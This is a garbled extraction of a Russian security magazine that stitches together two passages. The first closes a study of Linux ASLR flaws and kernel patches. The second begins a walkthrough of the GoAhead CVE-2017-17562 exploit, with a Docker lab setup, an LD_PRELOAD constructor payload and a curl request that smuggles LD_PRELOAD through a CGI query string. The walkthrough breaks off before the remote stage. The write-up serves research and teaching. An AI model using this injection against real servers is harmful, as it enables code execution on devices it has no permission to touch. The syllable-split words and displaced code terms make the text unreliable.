фай ла  плюс  некото рое  слу чай ное    с  вер хней  гра ницей
в 32 Мбайт.

random4

Ког да все эта пы прош ли, про цесс запус кает ся, и в качес тве стар тового адре‐ 
са будет адрес либо из ELF‐фай ла интер пре тато ра (ld), либо из самого ELF‐
фай ла  прог раммы,  если интер пре татор отсутс тву ет  (ста тичес ки  «слин кован‐ 
ный» ELF).

Ес ли вклю чен ASLR и есть воз можность заг рузки по про изволь ному адре‐ 
су у фай ла прог раммы, про цесс будет иметь сле дующий вид.

Каж дая  биб лиоте ка,  будучи  заг ружен ной  интер пре тато ром,  получит
управле ние, если в ней опре делен спи сок гло баль ных конс трук торов. В этом
слу чае будут выз ваны фун кции биб лиоте ки для выделе ния ресур сов (гло баль‐ 
ные конс трук торы), необ ходимых этой биб лиоте ке.

Бла года ря  извес тно му  поряд ку  заг рузки  биб лиотек мож но  получить  некото‐ 
рую  точ ку  в  потоке  выпол нения  прог раммы,  поз воля ющую  пос тро ить  рас‐ 
положе ние реги онов памяти друг отно ситель но дру га незави симо от работы
ASLR. Чем боль ше будет извес тно о биб лиоте ках, их конс трук торах и поведе‐ 
нии прог раммы, тем даль ше эта точ ка будет отста вать от точ ки соз дания про‐ 
цес са.

Для опре деле ния кон крет ных адре сов все же нуж на уяз вимость, поз воля‐ 
ющая  получить  адрес  некото рого  ‐реги она  либо  поз воля ющая  читать
(писать) память отно ситель но некото рого  ‐реги она:

mmap
mmap

ког да  зло умыш ленни ку  известен  адрес  некото рого  ‐реги она,
выделен ного  от  момен та  стар та  про цес са  до  точ ки  кон стантно го  выпол‐ 
нения  (раз дел  4.3),  ата кующий  может  успешно  вычис лить 
и адрес любой заг ружен ной биб лиоте ки или любого дру гого  ‐реги‐ 
она;

• mmap

mmap_base
mmap

в  слу чае  воз можнос ти  адре совать ся  отно ситель но  некото рого  mmap‐
реги она из точ ки кон стантно го выпол нения — допол нитель но какой‐либо
еще адрес знать необя затель но.

•

Для  доказа тель ства  пос тро ения  кар ты  памяти  про цес са  был  написан  код
на Python, ими тиру ющий поведе ние ядра при поис ке новых реги онов. Так же
был  пов торен  спо соб  заг рузки  ELF‐фай лов  и  порядок  заг рузки  биб лиотек.
Для  ими тации  уяз вимос ти,  поз воля ющей  про читать  адре са  биб лиотек,
исполь зовалась фай ловая сис тема  :  скрипт счи тыва ет адрес  ld  (таким
обра зом  вос ста нав лива ет  )  и  пов торя ет  кар ту  памяти  про цес са,
имея  биб лиоте ки.  Пос ле  чего  срав нива ет  с  ори гина лом.  Скрипт  пол ностью
пов торял  адресное  прос транс тво  всех  про цес сов. 

.

/proc
mmap_base

Код  скрип та  так же  дос‐ 
тупен

Век торы атак
Рас смот рим некото рые уяз вимос ти, уже став шие клас сичес кими из‐за сво ей
рас простра нен ности.

1. Ошиб ки перепол нения буфера на куче
Ши роко извес тны раз ные уяз вимос ти при работе при ложе ний с кучей 
и  так же  методы  их  экс плу ата ции.  Из  всех  методов  мож но  выделить  два
типа —  либо  они  поз воля ют  модифи циро вать  память  отно ситель но  адре са
уяз вимой кучи, либо они поз воля ют модифи циро вать адре са памяти, извес‐ 
тные ата кующе му. В некото рых слу чаях есть воз можность читать про изволь‐ 
ные дан ные с объ ектов на куче. Отсю да мож но получить нес коль ко век торов:

glibc

в слу чае модифи циро вания  (чте ния) памяти отно ситель но объ екта в  куче
в  пер вую  оче редь  нас  инте ресу ет  куча  потока,  соз данно го  через

, так как рас сто яние от нее до любой биб лиоте ки (сте ка)
потока будет мень ше, чем от кучи глав ного потока;

•

pthread_create

в слу чае чте ния  (записи) памяти отно ситель но некото рого адре са в пер‐ 
вую оче редь нуж но про бовать про читать адре са с самой  кучи,  пос коль ку
там обыч но лежат ука зате ли на   или на  . Зна ние
адре са   вле чет за собой зна ние адре са   и впос‐ 
ледс твии  .  Зна ние  адре са    может  дать  либо  адрес
некото рой  биб лиоте ки  (сле дова тель но,  и  ),  либо  адрес  заг‐ 
рузки  прог раммы.  Если  известен  адрес  заг рузки  прог раммы,  мож но
вычитать  адре са  биб лиотек  из  сек ции  ,  содер жащей  адре са
на необ ходимые фун кции биб лиотек.

•

vtable libc.main_arena

libc.main_arena glibc

mmap_base vtable

mmap_base

.got.plt

2. Перепол нение буфера
на сте ке при водит к рас смот ренно му вари анту с «канарей кой»;•
на куче при водит к вари анту, рас смот ренно му в пун кте 1;•
на  реги оне  mmap  при водит  к  переза писи  сосед них  реги онов  и  зависит
от кон тек ста.

•

ИСПРАВЛЕНИЯ7. 
В  дан ной  статье  опи сано  нес коль ко  проб лем,  рас смот рим  исправ ления
для  некото рых  из  них.  Нач нем  с  самых  прос тых  и  далее  перей дем  к  более
слож ным.

Дыр ка в ld.so7.1. 
Как было показа но в раз деле 4.4, заг рузчик ELF‐интер пре тато ра в ядре Linux
содер жит ошиб ку и допус кает осво бож дение час ти памяти биб лиоте ки интер‐ 
пре тато ра.  Соот ветс тву ющее  исправ ление  было  пред ложено  сооб щес тву,
одна ко   дол жно го вни мания.не получи ло

По рядок заг рузки сег ментов ELF-фай ла7.2. 
Как было отме чено выше, в ядре и в коде биб лиоте ки glibc отсутс тву ет про‐ 
вер ка ELF‐сег ментов фай ла — код прос то доверя ет тому, что они сос тавле ны
в пра виль ном поряд ке.  .PoC дан ной проб лемы при ложен, как и исправ ление

Ис прав ление доволь но прос тое: мы про ходим по сег ментам и про веря ем,
что  текущий  не  перек рыва ет  сле дующий  и  сег менты  упо рядо чены  по  воз‐ 
раста нию vaddr.

Учи тыва ние mmap_min_addr при поис ке адре са выделе ния
mmap
7.3. 

Как толь ко было написа но исправ ление для  , поз воля ющее воз вра щать
адре са  с  дос таточ ной  энтро пией,  воз никла  проб лема:  некото рые  вызовы

  завер шались  неудач но  с  ошиб кой  прав  дос тупа.  Даже  от  рута,  даже
если зап рошены из ядра при исполне нии execve.

mmap

mmap

В алго рит ме выбора адре са (опи сан ного в раз деле 3) был пункт «про вер‐ 
ка  адре са  на  огра ниче ния,  свя зан ные  с  безопас ностью».  В  текущей  реали‐ 
зации эта про вер ка убеж дает ся, что выб ранный адрес боль ше 
.  Это  перемен ная  сис темы,  дос тупная  к  изме нению  адми нис тра тором

через  .  Адми нис тра тор  сис темы может  задать  любое  зна чение,  и  про‐ 
цесс  не  смо жет  выделить  стра ницу  по  адре су  мень ше  это го  зна чения.
По умол чанию зна чение это го парамет ра 65536.

mmap_min_ad‐
dr

sysctl

Проб лема была в том, что при вызове фун кции выбора адре са для 
в архи тек туре x86‐64 ядро Linux исполь зовало зна чение допус тимой ниж ней
гра ницы  4096,  что  мень ше  зна чения  .  И  фун кция

  зап реща ет  опе рацию,  если  выб ранный  адрес  лежит  меж‐ 
ду 4096 и  .

mmap

mmap_min_addr
cap_mmap_addr

mmap_min_addr
  вызыва ется  неяв но:  эта  фун кция  зарегис три рова на

«хуком» для про вер ки безопас ности. Дан ное архи тек турное решение вызыва‐ 
ет  воп росы:  сна чала  мы  выбира ем  адрес,  не  имея  воз можнос ти  про верить
его  по  каким‐то  внеш ним  кри тери ям,  а  потом  мы  про веря ем  его  допус‐ 
тимость  в  соот ветс твии  с  текущи ми  парамет рами  сис темы.  И  если  адрес
не  про шел  про вер ку,  то  даже  в  слу чае,  ког да  адрес  выбира ется  ядром,  он
может быть «зап рещен ным» и вся опе рация завер шится с ошиб кой  .

cap_mmap_addr

EPERM

Зло умыш ленник  может  вос поль зовать ся  этим,  что бы  добить ся  отка за
от работы всей сис темы: если зло умыш ленни ку удас тся ука зать очень боль‐ 
шое  зна чение,  в  сис теме  не  смо жет  запус тить ся  ни  один  поль зователь ский
про цесс. А если зло умыш ленник смо жет сох ранить это зна чение в парамет‐ 
рах сис темы, то даже перезаг рузка не поможет — все соз дава емые про цес‐ 
сы будут получать   и завер шать ся с ошиб кой.EPERM

В  качес тве  исправ ления  на  дан ный  момент  было  добав лено  исполь‐ 
зование  зна чения    при  зап росе  к  фун кции  поис ка  адре са
в качес тве минималь но воз можно го адре са. Такой же код уже исполь зует ся
для всех дру гих архи тек тур.

mmap_min_addr

Воп рос  с  тем,  что  будет,  если  адми нис тра тор  сис темы  нач нет  менять
это  зна чение  на  работа ющей  машине,  оста ется  откры тым  —  все  новые
выделе ния пос ле изме нения могут завер шать ся с ошиб кой EPERM, а ни один
код  прог раммы  поп росту  не  ожи дает  такой  ошиб ки  и  не  зна ет,  что  с  ней
делать. В докумен тации к mmap ска зано сле дующее:

EPERM The operation was prevented by a file seal; see fcntl(2).

То  есть  ядро  не может  вер нуть    на  ,  хотя  на  деле
это не так.

EPERM MAP_ANONYMOUS

Mmap7.4. 
Ос новная  рас смат рива емая  проб лема    —  отсутс твие  энтро пии
при выборе адре са. Логич ное исправ ление, если в иде але, — выб рать память
слу чай но.  Что бы  выб рать  слу чай но,  нуж но  сна чала  пос тро ить  спи сок  всех
сво бод ных  реги онов,  под ходящих  по  раз меру.  Пос ле  нуж но  выб рать
из  получен ного  спис ка  слу чай ный  реги он  и  адрес  из  это го  реги она,  удов‐ 
летво ряющий кри тери ям поис ка — дли не зап рашива емо го реги она и допус‐ 
тимым ниж ней и вер хней гра ницам.

mmap

Для реали зации этой логики мож но выделить нес коль ко сле дующих под‐ 
ходов:
1. Дер жать спи сок пус тот в упо рядо чен ном по убы ванию мас сиве. При этом
выбор  слу чай ного  эле мен та  дела ется  за  одну  опе рацию,  одна ко  под‐ 
держа ние это го мас сива тре бует мно жес тва опе раций по осво бож дению
(выделе нию) памяти при изме нении текущей кар ты вир туаль ного адресно‐ 
го прос транс тва про цес са.

2. Дер жать  спи сок  пус тот  в  дереве  и  спис ке,  что бы  за  логарифм  от  чис ла
пус тот находить край нюю гра ницу, удов летво ряющую по дли не, и выбирать
слу чай ный  эле мент  из  мас сива.  Если  он  не  под ходит  по  огра ниче ниям
минималь ного  (мак сималь ного)  допус тимого  адре са,  выб рать  сле‐ 
дующий — и  так далее, пока не будет най ден необ ходимый или не оста‐ 
нет ся ни одно го. В этом под ходе нуж но под держи вать слож ные струк туры
спис ка  и  дерева  ана логич но  уже  сущес тву ющим для    при  изме нении
адресно го прос транс тва.

vma

3. Ис поль зовать  сущес тву ющую  струк туру  рас ширен ного  крас но‐чер ного
дерева    для  обхо да  спис ка  допус тимых  пус тот  gap  и  выбора  слу чай‐ 
ного адре са. В худ шем слу чае при каж дом выборе при дет ся обхо дить все
вер шины, одна ко нет никаких допол нитель ных рас ходов на перес тро ение
дерева.

vma

Был  выб ран  пос ледний  под ход  —  исполь зовать  сущес тву ющую  струк туру
орга низа ции    без  добав ления  избы точ ности  и  выбирать  адрес  по  сле‐ 
дующе му алго рит му:

vma

1. Ис поль зовать  сущес тву ющий  алго ритм  для  нахож дения  воз можной  пус‐ 
тоты  gap,  име ющей  наиболь ший  допус тимый  адрес.  Так же  запом нить
струк туру  , сле дующую за ней. Если такого нет, вер нуть  .vma ENOMEM

2. Най ден ный gap запом нить как резуль тат, а   — как мак сималь ную вер‐ 
хнюю гра ницу.

vma

3. Взять  пер вую  струк туру    из  двус вязно го  спис ка.  Она  будет  лис том
в крас но‐чер ном дереве, потому что име ет наимень ший адрес.

vma

4. Со вер шить  левос торон ний  обход  дерева  от  выб ранной  ,  про веряя
допус тимость  сво бод ного  реги она  меж ду  рас смат рива емой    и  ее
пред шес твен ником.  Если  сво бод ный  реги он  под ходит  по  огра ниче ниям,
получить оче ред ной бит энтро пии. Если бит энтро пии равен 1, пере опре‐ 
делить текущее выб ранное зна чение пус тоты gap.

vma
vma

5. Вер нуть слу чай ный адрес из выб ранно го реги она пус тоты gap.

В качес тве опти миза ции в пун кте 4 мож но не заходить в под деревья, раз мер
рас ширения gap которых мень ше необ ходимой дли ны.

Дан ный  алго ритм  выбира ет  адрес  с  дос таточ ным  зна чени ем  энтро пии,
хотя и работа ет доль ше текущей реали зации.

Из  явных  недос татков  мож но  отме тить  необ ходимость  обхо да  всех  ,
име ющих  дос таточ ную  дли ну  пус тоты  gap.  Одна ко  это  ком пенси рует ся
отсутс тви ем  нак ладных  рас ходов  про изво дитель нос ти  при  изме нении
адресно го прос транс тва.

vma

ТЕСТИРОВАНИЕ ИСПРАВЛЕНИЙ К ASLR8. 
Пос ле  при мене ния  опи сан ных  исправ лений  к  ядру  про цесс    выг‐ 
лядит сле дующим обра зом:

/bin/less

314a2d0da000‐314a2d101000 r‐xp /lib/x86_64‐linux‐gnu/ld‐2.26.so
314a2d301000‐314a2d302000 r‐‐p /lib/x86_64‐linux‐gnu/ld‐2.26.so
314a2d302000‐314a2d303000 rw‐p /lib/x86_64‐linux‐gnu/ld‐2.26.so
314a2d303000‐314a2d304000 rw‐p 
3169afcd8000‐3169afcdb000 rw‐p 
316a94aa1000‐316a94ac6000 r‐xp /lib/x86_64‐linux‐gnu/libtinfo.so.5.9
316a94ac6000‐316a94cc5000 ‐‐‐p /lib/x86_64‐linux‐gnu/libtinfo.so.5.9
316a94cc5000‐316a94cc9000 r‐‐p /lib/x86_64‐linux‐gnu/libtinfo.so.5.9
316a94cc9000‐316a94cca000 rw‐p /lib/x86_64‐linux‐gnu/libtinfo.so.5.9
3204e362d000‐3204e3630000 rw‐p 
4477fff2c000‐447800102000 r‐xp /lib/x86_64‐linux‐gnu/libc‐2.26.so
447800102000‐447800302000 ‐‐‐p /lib/x86_64‐linux‐gnu/libc‐2.26.so
447800302000‐447800306000 r‐‐p /lib/x86_64‐linux‐gnu/libc‐2.26.so
447800306000‐447800308000 rw‐p /lib/x86_64‐linux‐gnu/libc‐2.26.so
447800308000‐44780030c000 rw‐p 
509000396000‐509000d60000 r‐‐p /usr/lib/locale/locale‐archive
56011c1b1000‐56011c1d7000 r‐xp /bin/less
56011c3d6000‐56011c3d7000 r‐‐p /bin/less
56011c3d7000‐56011c3db000 rw‐p /bin/less
56011c3db000‐56011c3df000 rw‐p 
56011e0d8000‐56011e0f9000 rw‐p [heap]
7fff6b4a4000‐7fff6b4c5000 rw‐p [stack]
7fff6b53b000‐7fff6b53e000 r‐‐p [vvar]
7fff6b53e000‐7fff6b540000 r‐xp [vdso]
ffffffffff600000‐ffffffffff601000 r‐xp [vsyscall]

На при мере вид но:
1. Все  биб лиоте ки  выделе ны  в  слу чай ных  мес тах,  находят ся  на  слу чай ном
друг от дру га рас сто янии.

2. Файл  ,  отоб ражен ный  с  помощью
mmap, так же находит ся по слу чай ным адре сам.

/usr/lib/locale/localearchive

3. «Дыра»  в    не  запол нена
ни одним отоб ражени ем mmap.

/lib/x86_64linuxgnu/ld2.26.so

Дан ный  патч  был  про тес тирован  на  сис теме  Ubuntu  17.04  с  запущен ными
бра узе рами Chrome и Mozilla Firefox. Никаких проб лем обна руже но не было.

ЗАКЛЮЧЕНИЕ9. 
В резуль тате иссле дова ния было обна руже но мно го осо бен ностей в работе
ядра и glibc при обслу жива нии кода прог рамм. Была сфор мулиро вана и рас‐ 
смот рена  проб лема  близ кого  рас положе ния  памяти.  Были  най дены  сле‐ 
дующие проб лемы:

Ал горитм выбора адре са   не содер жит энтро пии.• mmap
Заг рузка ELF‐фай ла в ядре и интер пре тато ре содер жит ошиб ку обра бот ки
сег ментов.

•

При  поис ке  адре са  фун кци ей    в  ядре  не  учи тыва ется
 в архи тек туре x86‐64.

• do_mmap
mmap_min_addr
Заг рузка  ELF‐фай ла  в  ядре  допус кает  соз дание  «дырок»  в  ELF‐фай ле
прог раммы и интер пре тато ре ELF‐фай ла.

•

Ин тер пре татор ELF‐фай ла из GNU Libc ld, исполь зуя   для выделе ния
памяти  для  биб лиотек,  заг ружа ет  биб лиоте ки  по  завися щим
от    адре сам.  Так же  биб лиоте ки  заг ружа ются  в  стро го  опре‐ 
делен ном поряд ке.

• mmap

mmap_base

Биб лиоте ка GNU  Libc,  исполь зуя    для  выделе ния  сте ка,  кучи  и  TLS
потока, так же рас полага ет их по завися щим от   адре сам.

• mmap
mmap_base

Биб лиоте ка  GNU  Libc  раз меща ет  TLS  потоков,  соз данных  c  помощью
, в начале сте ка, что поз воля ет обой ти защиту от перепол‐ 

нения буфера на сте ке, перепи сав «канарей ку».

•
pthread_create

Биб лиоте ка  GNU  Libc  кеширу ет  ранее  выделен ные  кучи  (сте ки)  потоков,
что поз воля ет в некото рых слу чаях успешно завер шить экс плу ата цию уяз‐ 
вимого при ложе ния.

•

Биб лиоте ка  GNU  Libc  соз дает  кучу  для  новых  потоков,  выров ненную

на  , что сни жает мощ ность перебо ра.

•
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Дан ные проб лемы помога ют зло умыш ленни ку при обхо де ASLR или при обхо‐ 
де  защиты  от  перепол нения  буфера  на  сте ке.  Для  некото рых  выяв ленных
проб лем были пред ложены исправ ления в виде пат чей к ядру.

Для  всех  проб лем  были  пред став лены  PoC.  Был  пред ложен  алго ритм
выбора  адре са,  под разуме вающий  дос таточ ный  уро вень  энтро пии.  Про‐ 
демонс три рован ный  под ход  может  быть  исполь зован  для  ана лиза  ASLR
в дру гих опе раци онных сис темах, нап ример Windows или macOS.

Был рас смот рен ряд осо бен ностей реали зации GNU Libc, зна ние которых
в ряде слу чаев поз воля ет упростить экс плу ата цию при ложе ний.

Про демонс три рован ный  под ход  может  быть  исполь зован  для  ана лиза
поведе ния ASLR в дру гих опе раци онных сис темах, таких как Windows, macOS
и Android.
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ВЗЛОМ

GoAhead — это популяр ный встра иваемый веб‐сер вер ком‐ 
пании Embedthis,  который исполь зует ся  в  про дук тах Oracle,
IBM,  HP  и  дру гих  извес тных  про изво дите лей.  Я  думаю,
не  нуж но  говорить,  какие  пер спек тивы  откры вает  воз‐ 
можность  исполнять  про изволь ный  код  на  сот нях  тысяч
устрой ств,  где  они  работа ют.  Давай  раз берем ся,  как  это
дела ется.

Баг обна ружил авс тра лий ский иссле дова тель Дэни ел Ход сон (Daniel Hodson)
из ком пании Elttam. При чина уяз вимос ти — в некор рек тной обра бот ке HTTP‐
зап росов  при  вклю чен ной  под дер жке  интерфей са  CGI.  При  ини циали зации
окру жения некото рых CGI‐скрип тов сущес тву ет воз можность исполь зования
спе циаль ных  перемен ных  окру жения  типа  ,  с  помощью  которых
мож но выпол нить код.

LD_PRELOAD

INFO

Уяз вимость  получи ла  иден тифика тор 
.

CVE‐2017‐
17562

ГОТОВИМ СТЕНД
Для начала опре делим ся с вер сией самого веб‐сер вера. Уяз вимы все вер сии
при ложе ния  ниже  3.6.5.  Так  что  будем  исполь зовать  самую  пос леднюю
до  пат ча  —  3.6.4.  В  качес тве  сис темы  я  буду  исполь зовать  Debian
9 в докер‐кон тей нере.

docker run ‐‐rm ‐ti ‐‐cap‐add=SYS_PTRACE ‐‐security‐opt 
seccomp=unconfined ‐‐name=goahead ‐‐hostname=goahead ‐p80:80 debian /
bin/bash
apt‐get update && apt‐get install ‐y build‐essential git file

Те перь  ста вим  веб‐сер вер.  Будем  собирать  из  исходни ков,  взя тых
в гит‐репози тории.

git clone ‐‐branch=v3.6.4 ‐‐depth=1 https://github.com/embedthis/
goahead.git
cd goahead
DEBUG="debug" make

Те перь ском пилим тес товое CGI‐при ложе ние.

cd test
gcc cgitest.c ‐o cgi‐bin/cgitest

За пус тить  сер вер  мож но  из  пап ки  test,  там  лежат  дефол тные  кон фиги
для работы GoAhead.

../build/linux‐x64‐default/bin/goahead

Ском пилиро ван ное  при ложе ние  будет  дос тупно  на  запущен ном  сер вере
по ссыл ке  ./cgi‐bin/cgitest

Тес товое CGI‐при ложе ние на сер вере GoAhead 6.3.4

Ес ли тебе захочет ся вмес те со мной заг лянуть в исходни ки веб‐сер вера,  то
их ты всег да смо жешь най ти в   Embedthis.офи циаль ном репози тории

ОСОБЕННОСТИ КОМПИЛЯЦИИ И ЛИНКОВАНИЯ
Для начала пос мотрим, как устро ен бинар ник  . Для это го мож но вос‐ 
поль зовать ся ути литой   или  .

goahead
readelf file

readelf ‐hl goahead

Де таль ная информа ция о бинар нике goahead

Об рати  вни мание  на  сек цию  . Она  говорит  нам  о  том,  что  ELF‐файл
был  ском пилиро ван  с  динами чес кой  лин ковкой  биб лиотек,  а  в  качес тве
интер пре тато ра для ее выпол нения исполь зует ся биб лиоте ка 

.

INTERP

ld‐linux‐x86‐
64.so.2

root@goahead:~/goahead/build/linux‐x64‐default/bin# file goahead
goahead: ELF 64‐bit LSB shared object, x86‐64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld‐linux‐x86‐64.so.2, for GNU/
Linux 2.6.32, BuildID[sha1]=c29d5dc68c84bafc997dd15d4e22c3dab634afae,
not stripped

Эта биб лиоте ка — динами чес кий ком понов щик, который выпол няет ся в пер‐ 
вую оче редь при запус ке исполня емо го фай ла и отве чает за лин ковку и заг‐ 
рузку раз деля емых биб лиотек (so) и сим волов. Что бы узнать, какие биб лиоте‐ 
ки  под гру жают ся  при  стар те  веб‐сер вера, мож но  вос поль зовать ся  ути литой

  или  запус тить  ,  уста новив  перемен ную  окру жения 
 в  .

ldd goahead LD_‐
TRACE_LOADED_OBJECTS 1

Ин форма ция о под гру жаемых биб лиоте ках при запус ке веб‐сер вера
GoAhead

Как  ты,  навер ное,  зна ешь,  перемен ных  окру жения  великое  мно жес тво,
но сре ди них есть спе циаль ные, которые могут изме нить дефол тное поведе‐ 
ние  сту пеней  заг рузки  исполня емо го  фай ла.  Под робнее  о  них  ты  можешь
про читать в   к фай лу  .ма нуале ld.so

Да вай про бежим ся по исходни кам и пос мотрим, каким обра зом перемен‐ 
ные  вли яют  на  работу  при ложе ния.  Для  это го  заг лянем  в  биб лиоте ку  glibc,
исходни ки которой ты можешь най ти в   репози тории.этом

Пер вая  оста нов ка  —  это  фун кция  ,  которая  выпол няет ся  сра зу
пос ле запус ка лин кера.

dl_main

/glibc/master/elf/rtld.c
733: static void
734: dl_main (const ElfW(Phdr) *phdr,
735:     ElfW(Word) phnum,
736:     ElfW(Addr) *user_entry,
737:     ElfW(auxv_t) *auxv)
738: {
...
772:   /* Process the environment variable which control the behavi
our.  */
773:   process_envvars (&mode);

Здесь  вызыва ется фун кция  . Да,  она дела ет  то,  что и  сле‐ 
дует из ее наз вания, — пар сит и обра баты вает перемен ные окру жения.

process_envvars

/glibc/master/elf/rtld.c
2341: static void
2342: process_envvars (enum mode *modep)
2343: {
2344:   char **runp = _environ;
2345:   char *envline;
2346:   enum mode mode = normal;
2347:   char *debug_output = NULL;
...
2353:   while ((envline = _dl_next_ld_env_entry (&runp)) != NULL)
2354:     {
2355:       size_t len = 0;
2356: 
2357:       while (envline[len] != '\0' && envline[len] != '=')
2358:   ++len;

Пе реби рает ся  мас сив,  сос тоящий  из  перемен ных  окру жения.  Для  каж дого
эле мен та  вычис ляет ся его раз мер,  а даль ше фун кция  switch,  в  зависи мос ти
от  дли ны  парамет ра,  переда ет  управле ние  на  раз личные  вет ки  кода,  где
выяс няет ся,  не переда на  ли одна из  спе циаль ных перемен ных. Нас боль ше
все го  инте ресу ет  дли на  ,  где  рас положи лась  про вер ка  на 
в передан ной коман дной стро ке.

7 LD_PRELOAD

/glibc/master/elf/rtld.c
2366:       switch (len)
2367:   {
...
2385:   case 7:
...
2393:     /* List of objects to be preloaded.  */
2394:     if (memcmp (envline, "PRELOAD", 7) == 0)
2395:       {
2396:         preloadlist = &envline[8];
2397:         break;
2398:       }

Ес ли  эта  перемен ная  окру жения  переда на,  то  ини циали зиру ется 
.  По  сути,  в  ней  хра нит ся  спи сок  биб лиотек,  которые  нуж но  заг рузить

перед тем, как переда вать управле ние глав ному коду из бинар ника. Поэто му
вско ре пос ле того, как отра бота ла  , выпол нение перехо дит
к той час ти кода, что начина ет обра бот ку  .

preload‐
list

process_envvars
preloadlist

/glibc/master/elf/rtld.c
1478:   assert (*first_preload == NULL);
1479:   struct link_map **preloads = NULL;
1480:   unsigned int npreloads = 0;
1481: 
1482:   if (__glibc_unlikely (preloadlist != NULL))
1483:     {

Ес ли  спи сок  непус той,  то  фун кция    выпол няет  заг рузку  каж дой
передан ной биб лиоте ки.

do_preload

/glibc/master/elf/rtld.c
1495:       while ((p = (strsep) (&list, " :")) != NULL)
1496:   if (p[0] != '\0'
1497:       && (__builtin_expect (! __libc_enable_secure, 1)
1498:       || strchr (p, '/') == NULL))
1499:     npreloads += do_preload (p, main_map, "LD_PRELOAD");

Те перь мы зна ем,  что, если  ука зать в перемен ной   путь до биб‐ 
лиоте ки, лин кер выпол нит ее заг рузку перед исполне нием самого бинар ника.
Одна ко  нам  это го  недос таточ но,  ведь  задача  не  в  том,  что бы  прос то  под‐ 
цепить либу, тре бует ся еще и выпол нить нуж ный нам код. В этом нам помогут

   и  . Если фун кция помеще на в сек цию  , то сис тема
выпол няет ее до глав ной (main), а если в  , то пос ле того, как main отра‐ 
бота ет  и  вер нет  резуль тат.  Сво еоб разная  импле мен тация  конс трук торов
и дес трук торов клас сов, толь ко гло баль ная.

LD_PRELOAD

сек ции .init .fini .init
.fini

Те перь вос поль зуем ся   фун кций. Нуж ный нам называ ется 
.

ат рибута ми con‐
structor

payload.c
1: #include <unistd.h>
2: 
3: static void before_main(void) __attribute__((constructor));
4: 
5: static void before_main(void)
6: {
7:     write(1, "Hello: World!\n", 14);
8: }
9: 

Фун кция   будет вызывать ся сра зу же пос ле заг рузки биб лиоте ки,
до глав ного бинар ника. Давай ском пилиру ем этот код как биб лиоте ку.

before_main

gcc ‐shared ‐fPIC payload.c ‐o payload.so

Те перь  поп робу ем  под клю чить  эту  биб лиоте ку  перед  стар том  веб‐сер вера,
исполь зуя  .LD_PRELOAD

LD_PRELOAD=/root/payload.so ../build/linux‐x64‐default/bin/goahead

Вы зыва ем свою биб лиоте ку через перемен ную окру жения LD_PRELOAD

И наб люда ем, как в   появи лась стро ка из пей лоада: «Hello: World!». 
Тот  же  самый  трюк  спра вед лив  для  любого  фай ла  с  динами чес ким  лин‐ 
ковани ем.

stdout

Трюк с под груз кой биб лиоте ки работа ет и на дру гих бинар никах

Продолжение статьи →

https://twitter.com/iamsecurity
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http://man7.org/linux/man-pages/man8/ld.so.8.html
https://github.molgen.mpg.de/git-mirror/glibc
http://l4u-00.jinr.ru/usoft/WWW/www_debian.org/Documentation/elf/node3.html
https://gcc.gnu.org/onlinedocs/gcc/Common-Function-Attributes.html
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АТАКУЕМ CGI
Во ору жив шись необ ходимы ми зна ниями, перехо дим непос редс твен но к ата‐ 
кам  на  CGI‐при ложе ния.  Для  обра бот ки  зап росов  к  ним  исполь зует ся  фун‐ 
кция  .cgiHandler

cgi.c
51: PUBLIC bool cgiHandler(Webs *wp)
52: {
53:     Cgi         *cgip;
54:     WebsKey     *s;
55:     char        cgiPrefix[ME_GOAHEAD_LIMIT_FILENAME], *stdIn, *
stdOut, cwd[ME_GOAHEAD_LIMIT_FILENAME];
56:     char        *cp, *cgiName, *cgiPath, **argp, **envp, **ep, *
tok, *query, *dir, *extraPath, *exe;
57:     CgiPid      pHandle;
58:     int         n, envpsize, argpsize, cid;

Она  ини циали зиру ет  мас сив  ,  в  который  в  фор мате  ключ‐зна чение
записы вают ся все парамет ры, передан ные в зап росе по HTTP.

envp

cgi.c
160:     envpsize = 64;
161:     envp = walloc(envpsize * sizeof(char*));
162:     for (n = 0, s = hashFirst(wp‐>vars); s != NULL; s = hashNext
(wp‐>vars, s)) {
163:         if (s‐>content.valid && s‐>content.type == string &&
164:             strcmp(s‐>name.value.string, "REMOTE_HOST") != 0 &&
165:             strcmp(s‐>name.value.string, "HTTP_AUTHORIZATION") 
!= 0) {
166:             envp[n++] = sfmt("%s=%s", s‐>name.value.string, s‐>
content.value.string);
167:             trace(5, "Env[%d] %s", n, envp[n‐1]);
168:             if (n >= envpsize) {
169:                 envpsize *= 2;
170:                 envp = wrealloc(envp, envpsize * sizeof(char *))
;
171:             }
172:         }
173:     }
174:     *(envp+n) = NULL;

Пос ле  всех  необ ходимых  при готов лений  вызыва ется  фун кция  .
В качес тве одно го из аргу мен тов ей переда ется получен ный мас сив.

launchCgi

cgi.c
194:     if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)
) == (CgiPid) ‐1) {

Внут ри этой фун кции  уже выпол няет ся    и,  наконец,    для  запус ка
бинар ника.  При чем  дан ные  из  мас сива    переда ются  ему  в  качес тве
перемен ных окру жения.

fork execve
envp

cgi.c
533: static CgiPid launchCgi(char *cgiPath, char **argp, char **envp,
char *stdIn, char *stdOut)

534: {
...
548:     pid = vfork();
549:     if (pid == 0) {
...
561:         } else if (execve(cgiPath, argp, envp) == ‐1) {
562:             printf("content‐type: text/html\n\nExecution of cgi 
process failed\n");
563:         }

Та ким  обра зом,  передан ный  GET‐зап рос  на  ``/test.cgi?A=B  прев ратит ся
в вызов.

A=B /path/to/test.cgi

Па рамет ры зап роса переда ются в качес тве перемен ных окру жения
при запус ке CGI‐скрип та

Со еди няем  две  половин ки  вмес те  и  про буем  под гру зить  пей лоад  с  «хело‐ 
увор лдом»  к  скрип ту  ,  который  мы  ском пилили  в  самом  начале
статьи.

cgitest

curl "http://goahead.visualhack/cgi‐bin/cgitest?LD_PRELOAD=/root/
payload.so" ‐I

Инъ екция биб лиоте ки в GoAhead через LD_PRELOAD

Биб лиоте ка заг ружена, код выпол нен, а резуль тат выпол нения воз вра щает ся
в отве те  в  качес тве  хидера  (имен но для  это го  стро ка име ет  сим вол  :  пос ле
сло ва hello).

ТРЮКИ ДЛЯ УДАЛЕННОЙ ЭКСПЛУАТАЦИИ
Ин жектить  биб лиоте ки  мы  научи лись,  но  как  же  нам  теперь  про экс плу ати‐ 
ровать эту уяз вимость уда лен но? Оче вид но, что воз можность заливать свои
фай лы с про изволь ным содер жимым дос тупна далеко не всег да. Тут нас сно‐ 
ва  выруча ет  сам  GoAhead.  Во  вре мя  выпол нения    фун кция 
дуб лиру ет дес крип тор stdin.

launchCgi dup2

cgi.c
